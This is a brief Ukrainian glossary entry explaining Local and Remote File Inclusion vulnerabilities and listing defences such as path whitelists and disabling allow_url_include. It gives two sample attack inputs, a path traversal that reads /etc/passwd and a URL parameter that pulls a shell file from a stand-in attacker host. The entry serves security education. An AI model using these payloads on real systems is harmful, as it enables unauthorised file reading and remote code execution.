Включення локального/віддаленого файлу
File Inclusion
Також: LFI, RFI, Local File Inclusion, Remote File Inclusion
LFI (Local File Inclusion) і RFI (Remote File Inclusion) — вразливості, при яких параметр шляху до файлу не перевіряється, дозволяючи зловмисникові читати довільні файли або виконувати код.
- LFI:
?page=../../../../etc/passwd - RFI:
?page=http://evil.com/shell.txt(потребуєallow_url_include=On).
Захист
Whitelist дозволених шляхів, basename(), вимкнення allow_url_include.